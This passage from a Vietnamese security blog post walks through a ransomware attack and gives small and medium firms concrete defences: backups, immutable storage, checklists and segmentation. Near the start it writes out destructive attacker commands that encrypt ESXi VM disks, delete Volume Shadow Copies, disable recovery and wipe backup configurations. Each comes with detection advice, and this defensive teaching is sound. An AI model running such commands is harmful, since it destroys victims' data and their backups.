# Mã hoá VMDK files — kill tất cả VMs cùng lúc
find /vmfs/volumes -name "*.vmdk" ! -name "*-flat.vmdk" | while read f; do
[encryptor_binary] "$f"
done
# Kết quả: 100% VM không thể boot, toàn bộ data mã hoá
Một ESXi host bị compromise = toàn bộ production down ngay lập tức.
Xóa Backup — bước quan trọng làm TRƯỚC
# Windows — xóa Volume Shadow Copies (VSS)
# Đây là bước attacker làm sớm, trước khi mã hoá production
vssadmin delete shadows /all /quiet
wmic shadowcopy delete
# Disable Windows Backup service
wbadmin delete catalog -quiet
bcdedit /set {default} recoveryenabled No
# Nếu Veeam Backup Server trong cùng network:
# - Kết nối vào Veeam console
# - Xóa backup jobs hoặc backup repositories
# - Hoặc đơn giản: mã hoá Veeam server luôn
# Linux backup tools — nếu tìm thấy
# Xóa backup configurations
rm -rf /etc/bacula/ /etc/amanda/ /var/backup/
# Unmount và xóa backup storage
Cách detect:
- Alert ngay lập tức khi VSS bị delete — Event ID 524 (VSS) và Security Event ID từ vssadmin
- Monitor backup job status — nếu backup fail liên tục là dấu hiệu lạ
- Out-of-band alerting (SMS, ứng dụng mobile riêng) không phụ thuộc vào hệ thống đang bị tấn công
Cách phòng (quan trọng nhất):
- 3-2-1-1-0 Backup Rule (xem Phần 5)
- Immutable backup — S3 Object Lock, Wasabi Immutable Buckets
- Backup server không join AD production — dùng local account riêng
- Air-gapped backup — offline, không kết nối mạng thường xuyên
3.9 Extortion & Negotiation – Màn tống tiền
Sau khi mã hoá xong, attacker liên lạc qua Tor (.onion site), có đếm ngược deadline, thường cho phép "test decrypt" 1-2 file nhỏ để chứng minh họ có key.
Một số thực tế về negotiation:
- Giá thường có thể đàm phán giảm 20–50% nếu bạn "hợp tác nhanh"
- Nhiều công ty thuê chuyên gia negotiation — có firm chuyên làm việc này
- Nhưng dù trả tiền cũng không đảm bảo:
- ~10-15% case: key được cung cấp không giải mã được hết
- Dữ liệu vẫn có thể bị leak sau 6-12 tháng
- Backdoor có thể vẫn còn trong hệ thống → bị hit lần 2
4. Case Study thực tế
Case 1: Akira Ransomware nhắm vào SMB qua Cisco VPN
Từ 2023 đến 2026, Akira là một trong những nhóm nguy hiểm nhất nhắm vào SMB, đặc biệt ở khu vực Đông Nam Á. Pattern tấn công điển hình được ghi nhận trong nhiều báo cáo của Sophos, Huntress, và CISA:
Vector ban đầu: Cisco ASA VPN không có MFA, bị brute-force hoặc credential stuffing từ dữ liệu leak của infostealer malware.
Timeline được tái dựng từ forensic:
- Day 1: Initial access qua VPN với stolen credentials. Tạo persistence bằng reverse shell.
- Day 2–5: Internal recon, dump AD với SharpHound/BloodHound, identify backup server vị trí.
- Day 5–8: Lateral movement, leo lên Domain Admin qua Kerberoasting (service account password 8 ký tự bị crack trong ~3 giờ).
- Day 8–14: Exfiltrate ~400GB data qua Rclone → Mega. Chủ yếu source code, customer database, financial records.
- Day 14: Disable Veeam backup server. Deploy Akira trên tất cả Windows servers + ESXi. Xóa VSS shadows.
Sai lầm chí mạng của nạn nhân:
- Không có MFA trên VPN — đây là lỗi số 1. Nếu có MFA (đặc biệt FIDO2), initial access gần như không thể với vector này.
- Backup server join AD production — bị lateral move vào và xóa sạch. Backup server phải isolated.
- Service account có weak password + Kerberoastable SPN — bị crack trong vài giờ. Dùng gMSA là hết vấn đề này.
- Không có SIEM/centralized logging — 14 ngày attacker đi lại, không ai biết. Mọi indicator đều bị xóa sạch khi forensic vào.
- EDR chỉ trên laptop, không có trên server — vì "server ít bị tấn công hơn". Ngược lại hoàn toàn — server là target chính.
Case 2: Supply Chain Attack qua IT Vendor
Một pattern ngày càng phổ biến năm 2025–2026: thay vì tấn công trực tiếp target lớn (khó), attacker tấn công vendor/nhà cung cấp nhỏ hơn trước.
Điển hình:
- Công ty outsource IT cho nhiều SME Đông Nam Á bị compromise.
- Attacker dùng remote access tool (TeamViewer, AnyDesk, RMM software) của công ty IT đó.
- Từ đó pivot vào hàng chục khách hàng của họ.
- Một lần xâm nhập = nhiều nạn nhân tiềm năng.
Bài học: Bên thứ ba có access vào hệ thống của bạn chính là attack surface của bạn. Cần có:
- Vendor Access Management rõ ràng: JIT access (chỉ mở khi cần, đóng lại ngay sau)
- Audit log đầy đủ cho mọi vendor session
- Không bao giờ cho vendor access vĩnh viễn không giới hạn
- Review và revoke access của vendor không còn hợp tác
5. Phòng thủ thực tế cho team Việt Nam
Đây là phần dành cho tất cả mọi người. Mình sẽ nói thực tế — không phải kiểu "mua solution enterprise $500K/năm là xong", mà là những thứ công ty nhỏ và vừa ở Việt Nam có thể làm được ngay với budget hạn chế.
5.1 Quick Wins — Làm ngay tuần này
Nếu bạn chỉ có 1 tuần và phải chọn, đây là 5 thứ có ROI cao nhất:
────────────────────────────────────────────────────────
QUICK WINS — LÀM NGAY TUẦN NÀY
────────────────────────────────────────────────────────
☐ 1. Bật MFA cho TẤT CẢ remote access (VPN, RDP, SSH, admin panels)
→ Chặn được ~80% initial access phổ biến nhất hiện tại
→ Microsoft Authenticator / Google Authenticator free hoàn toàn
→ FIDO2 key nếu có ngân sách (~500k–1tr/key)
☐ 2. Patch VPN / Firewall / Remote Gateway ngay lập tức
→ Check CVE mới nhất cho thiết bị bạn đang dùng (Fortinet, Cisco, Palo Alto...)
→ Critical CVE: patch trong 24–48h, không phải "sprint sau"
☐ 3. Audit exposed services — biết mình đang expose gì
→ shodan.io/monitor → thêm IP public của công ty
→ Đóng tất cả thứ không cần thiết
☐ 4. Test backup và restore NGAY HÔM NAY
→ Backup chưa restore được thành công = không phải backup
→ Thực tế: nhiều backup corrupt hoặc incomplete mà không ai biết
☐ 5. Tách backup khỏi AD và production network
→ Backup server không join domain production
→ Dùng local account riêng, không sync credential với AD
→ Hoặc dùng cloud backup với immutable storage
────────────────────────────────────────────────────────
5.2 Backup Strategy đúng chuẩn 3-2-1-1-0
Rule này đơn giản nhưng ít công ty thực hiện đúng:
3 → Ba bản copy dữ liệu
2 → Hai loại media khác nhau (VD: NAS + cloud)
1 → Một bản offsite (địa lý khác)
1 → Một bản offline/immutable (air-gapped hoặc object lock)
0 → Zero errors khi verify — backup phải được test restore định kỳ!
Cụ thể cho công ty Việt Nam:
| Layer | Giải pháp khuyến nghị | Chi phí ước tính |
|---|---|---|
| Local (nhanh restore) | Veeam Community Edition + NAS riêng biệt | NAS ~5–15 triệu, Veeam free ≤10 workloads |
| Cloud immutable | Wasabi + Object Lock hoặc AWS S3 + Glacier | ~$7/TB/tháng (Wasabi không có egress fee) |
| Offline/Air-gapped | External HDD 4TB, rotate hàng tuần | ~2–3 triệu, mang về nhà |
# Cấu hình S3 Object Lock — immutable, ngay cả root không xóa được
# Áp dụng cho bucket backup của bạn
aws s3api create-bucket \
--bucket company-immutable-backup \
--region ap-southeast-1 \
--create-bucket-configuration LocationConstraint=ap-southeast-1
# Enable versioning (bắt buộc trước Object Lock)
aws s3api put-bucket-versioning \
--bucket company-immutable-backup \
--versioning-configuration Status=Enabled
# Enable Object Lock với Compliance Mode 30 ngày
aws s3api put-object-lock-configuration \
--bucket company-immutable-backup \
--object-lock-configuration '{
"ObjectLockEnabled": "Enabled",
"Rule": {
"DefaultRetention": {
"Mode": "COMPLIANCE",
"Days": 30
}
}
}'
# Với Compliance Mode: KHÔNG AI xóa được object trong 30 ngày
# Kể cả root AWS account
# Kể cả attacker có full AWS creds
Quan trọng nhất: test restore ít nhất mỗi tháng một lần. Backup chưa restore được thành công là backup giả.
5.3 Checklist theo vai trò
Developer
☐ Không commit credentials vào git
→ Dùng git-secrets, truffleHog, hoặc Gitleaks trong pre-commit hook
→ Nếu đã lỡ commit: rotate key ngay, không chỉ xóa commit
☐ Dùng Secret Manager thay vì .env file trên server
→ HashiCorp Vault (self-hosted, free)
→ AWS Secrets Manager (~$0.40/secret/tháng)
→ Azure Key Vault
☐ Dependency security scanning trong CI/CD
→ Dependabot (GitHub, miễn phí)
→ Snyk (free tier cho open source)
→ npm audit / pip-audit / cargo audit
☐ SAST scanning trong pipeline
→ Semgrep (free tier, rất tốt)
→ SonarQube Community Edition
☐ Principle of Least Privilege cho service accounts
→ App chỉ cần read DB → chỉ cấp SELECT, không cấp DROP TABLE
→ Mỗi service một DB user riêng, không share
☐ Review third-party packages cẩn thận
→ Typosquatting rất phổ biến (npm, pypi, etc.)
→ Check download count, maintainer reputation, release date
DevOps / Sysadmin
☐ Patch management có quy trình rõ ràng
→ Critical CVE: 24–48h
→ High CVE: 1 tuần
→ Medium: trong sprint tiếp theo
☐ MFA bắt buộc cho remote access (VPN, SSH, RDP)
☐ Tắt/disable services không cần thiết
→ Audit exposed ports định kỳ
☐ Network segmentation theo vai trò
→ Production / Dev-Staging / Corporate / Backup — separate VLAN
→ Firewall rules: deny all by default, allow by exception
☐ LAPS (Local Administrator Password Solution)
→ Mỗi Windows machine có local admin password riêng, tự rotate
→ Free, Microsoft cung cấp
☐ Centralized logging với SIEM
→ ELK Stack (Elasticsearch + Logstash + Kibana) — free, tự deploy
→ Graylog — easier to manage
→ Wazuh — free, tích hợp SIEM + EDR agent
☐ Basic alerting:
→ Failed login > 5 lần trong 5 phút
→ New scheduled task / service được tạo ngoài giờ hành chính
→ Event Log cleared (Event ID 1102, 104)
→ VSS deletion
→ Admin login từ IP/location lạ
☐ Vulnerability scanning định kỳ
→ OpenVAS / Greenbone Community (free)
→ Nuclei với community templates (free)
CTO / Security Lead
☐ Incident Response Plan đã có chưa?
→ Ai là decision maker? Số điện thoại ai?
→ Khi nào engage external IR team?
→ Quy trình thông báo khách hàng/đối tác?
→ IR Plan không được lưu chỉ trên hệ thống có thể bị encrypt
☐ Tabletop Exercise ít nhất 1 lần/năm
→ Giả định bị tấn công, xem team response ra sao
→ Identify gaps trước khi incident thật xảy ra
☐ Cyber Insurance
→ Đang ngày càng cần thiết ở VN
→ Một số trường hợp: insurance sẽ cover chi phí IR, ransom, legal
☐ Vendor/Third-Party Security Assessment
→ Ai có access vào hệ thống của bạn? Họ có security posture tốt không?
→ JIT access cho vendors, không permanent
☐ Security Awareness Training
→ Nhân sự, kế toán, C-level là target phishing phổ biến nhất
→ Phishing simulation test ít nhất 2 lần/năm
☐ Data Classification
→ Biết dữ liệu nhạy cảm ở đâu → monitor kỹ hơn → incident response nhanh hơn
5.4 Công cụ khuyến nghị (Free & Low-cost)
ENDPOINT DETECTION & RESPONSE (EDR):
├── Wazuh — Open source, SIEM + EDR agent, rất tốt cho budget thấp
├── Microsoft Defender for Endpoint — Có trong Microsoft 365 Business Premium
└── Velociraptor — Endpoint visibility, digital forensics, incident response
NETWORK DETECTION:
├── Zeek (Bro) — Network analysis framework, free
├── Suricata — IDS/IPS, free
└── Security Onion — All-in-one network security monitoring platform
VULNERABILITY MANAGEMENT:
├── OpenVAS / Greenbone Community Edition — Full vulnerability scanner, free
├── Nuclei — Fast vuln scanner với community templates, free
└── OWASP ZAP — Web application scanner, free
IDENTITY & ACCESS:
├── LAPS — Local Admin Password Solution, Windows, free
├── Microsoft Entra ID Free — Basic MFA + Conditional Access
└── Bitwarden Teams — Password manager cho team, ~$3/user/tháng
BACKUP:
├── Veeam Community Edition — Free cho ≤10 workloads
├── Wasabi — S3-compatible cloud storage, $7/TB/tháng, no egress fee
└── Restic — Open source backup tool với S3/B2/SFTP backend
SIEM / LOG MANAGEMENT:
├── ELK Stack — Elasticsearch + Logstash + Kibana, free self-hosted
├── Graylog — Easier than ELK, free community edition
└── Wazuh — Combines SIEM + EDR, very strong for SMB
INCIDENT RESPONSE:
├── KAPE — Windows artifact collection, forensic triage
├── Volatility — Memory forensics
└── TheHive + Cortex — Incident management + automated response, free
SECRET MANAGEMENT:
├── HashiCorp Vault — Open source, self-hosted, rất mạnh
├── Infisical — Open source alternative, developer-friendly
└── Doppler — SaaS, free tier có
5.5 Network Segmentation cơ bản
Nhiều công ty VN vẫn flat network — tất cả máy trong cùng subnet. Lateral movement trong flat network = chạy xe trên xa lộ không có rào cản.
RECOMMENDED MINIMUM SEGMENTATION:
─────────────────────────────────────────────────────
VLAN 10 — Production Servers
→ Chỉ nhận traffic từ: Load Balancer, Application Tier
→ Không cho phép direct workstation access
VLAN 20 — Application / Dev Servers
→ Isolated khỏi production DB
VLAN 30 — Corporate Workstations
→ Workstation không được communicate trực tiếp với nhau
→ (Block lateral movement trong corp network)
VLAN 40 — Backup Systems ← QUAN TRỌNG NHẤT
→ Isolated hoàn toàn
→ Backup server PULL data từ production (không phải production PUSH)
→ Không nhận inbound connection từ production VLAN
VLAN 50 — Guest / IoT / CCTV
→ Hoàn toàn isolated, chỉ có internet access
VLAN 99 — Management (Out-of-Band)
→ Chỉ accessible từ PAW (Privileged Access Workstation)
→ Console access vào switches, firewall, servers
─────────────────────────────────────────────────────
6. Mindset & Bài học xương máu
Kỹ thuật rồi, checklist rồi. Nhưng thứ quan trọng nhất không phải tool hay configuration — mà là mindset.
"Assume Breach" — Giả định bạn đã bị xâm nhập
Thay vì nghĩ "làm sao để không bị vào", hãy nghĩ: "Nếu họ đã vào rồi, mình phát hiện được không? Mình contain được không? Mình recover được không?"
Đây là shift quan trọng. Hệ thống hoàn toàn không thể bị breach là không tồn tại. Câu hỏi thực tế là:
- Mean Time to Detect (MTTD) của bạn là bao nhiêu?
- Mean Time to Respond (MTTR) là bao nhiêu?
Trong case mình kể ở đầu bài, attacker ở trong hệ thống 18 ngày. Với SIEM và alerting tốt, có thể detect trong vài giờ đầu — và toàn bộ damage sẽ khác hoàn toàn.
"Security is a process, not a product"
Mình từng thấy một công ty mua Palo Alto firewall xịn nhất, CrowdStrike EDR full package, Splunk license hàng chục nghìn USD/năm — rồi vẫn bị ransomware vì không có ai monitor alert, và firewall rule để mặc định.
Tool mà không có process là tiền vứt đi. Bạn cần: người → process → rồi mới đến tool. Theo thứ tự đó. Một Wazuh được cấu hình tốt và có người watch còn tốt hơn Splunk bỏ đó không ai nhìn.
Đừng ngại escalate khi thấy lạ
Mình từng làm chung với một sysadmin kỹ năng tốt nhưng hay có tâm lý "chắc false positive thôi, không sao đâu". Alert bất thường → dismiss. Log lạ → bỏ qua vì "chắc app bug".
Văn hoá security tốt là văn hoá mà mọi người dám nói "cái này lạ, mình không chắc" thay vì im lặng vì sợ bị chê không biết. Và người nhận thông tin đó không được phản ứng kiểu "ôi trời, cái gì cũng hỏi". Chính tâm lý đó đã để cho nhiều incident kéo dài hàng tuần mà lẽ ra có thể xử lý trong vài giờ.
Incident Response Plan — Viết trước khi cần
Hầu hết công ty nhỏ VN không có IR Plan. Đến lúc bị tấn công mới hỏi nhau "giờ làm gì?". Lúc đó thì stress, thiếu ngủ, áp lực từ mọi phía — quyết định chắc chắn sẽ sai.
IR Plan không cần phức tạp. Chỉ cần trả lời:
- Ai là người ra quyết định cuối cùng trong incident?
- Số điện thoại của ai cần gọi đầu tiên?
- Khi nào thì engage external IR team?
- Bước contain cơ bản: isolate máy thế nào, shutdown hay giữ nguyên để forensic?
- Thông báo khách hàng/đối tác theo quy trình nào?
Quan trọng: IR Plan phải được lưu ở chỗ accessible ngay cả khi toàn bộ hệ thống bị down — in ra giấy, lưu trong Google Drive cá nhân, gửi email cho mọi người liên quan. Đừng để plan nằm trên server có thể bị mã hoá mất luôn.
7. Kết luận
Mình đã đi qua từ A đến Z một cuộc tấn công ransomware điển hình năm 2026. Để tóm tắt chuỗi tấn công:
RANSOMWARE KILL CHAIN 2026
────────────────────────────────────────────────────────────
1. RECON → Map hạ tầng, tìm nhân sự, LinkedIn/Shodan
2. INITIAL ACCESS → VPN exploit, phishing AiTM, exposed service
3. EXECUTION → LotL techniques, C2 beacon
4. PERSISTENCE → Scheduled task, service, SSH backdoor
5. PRIV ESC → Kerberoasting, Potato attacks → Domain Admin
6. DEFENSE EVASION → Disable AV/EDR, BYOVD, clear logs
7. CRED ACCESS → LSASS dump, credential files, cookie theft
8. DISCOVERY → BloodHound AD mapping, find backup/ESXi
9. LATERAL MOVE → PtH, PsExec, WMI, RDP across network
10. EXFILTRATION → Rclone to cloud, DNS tunnel, HTTPS upload
11. ENCRYPTION → Hybrid AES+RSA, ESXi attack, delete backups
12. EXTORTION → Quadruple extortion, negotiation, deadline
────────────────────────────────────────────────────────────
21 ngày trong hệ thống. Không ai biết. Rồi một ngày thứ Hai sáng, mọi thứ sụp.
Điều đáng sợ là mỗi bước trong chuỗi này đều đang xảy ra thật, với các công ty thật, ngay lúc này. Điều đáng mừng là mỗi bước đều có cách phòng thủ.
Nếu bạn đọc đến đây mà chưa làm gì, mình đề nghị bạn làm một việc duy nhất ngay hôm nay:
Bật MFA cho VPN và remote access của công ty bạn.
Chỉ một việc đó thôi. Nó sẽ chặn được phần lớn initial access vector phổ biến nhất. Rồi từ đó, từng bước, xây dựng thêm.
Teaser: Bài tiếp theo trong series
Bài này mình mổ xẻ ransomware. Bài tiếp theo sẽ đào sâu vào một chủ đề đang nổi cực kỳ mà nhiều developer VN chưa để ý đủ:
📌 Bài #2: "OWASP API Security 2026 – Những lỗ hổng API đang bị khai thác thế nào trong thực tế?"
- BOLA/IDOR: Tại sao nó vẫn là lỗi phổ biến nhất sau nhiều năm
- JWT attack vectors: alg:none, weak secret, kid injection
- Mass assignment attacks: cái "tính năng tiện lợi" này nguy hiểm thế nào
- API key exposure trong mobile apps và cách reverse engineer
- Case study: một fintech API VN bị khai thác như thế nào
📌 Bài #3: "Prompt Injection & LLM Security – Khi AI trở thành attack vector mới"
Vì năm 2026, hầu hết công ty đang tích hợp LLM vào product — và hầu hết không biết attack surface mới này trông như thế nào.
Nếu bài này hữu ích, share cho đồng nghiệp — đặc biệt là sysadmin hoặc CTO công ty bạn. Họ cần đọc phần 5 hơn bất kỳ ai.
Có câu hỏi, góp ý, hoặc muốn kể chuyện incident của bạn? Comment bên dưới — mình đọc và reply hết.
All rights reserved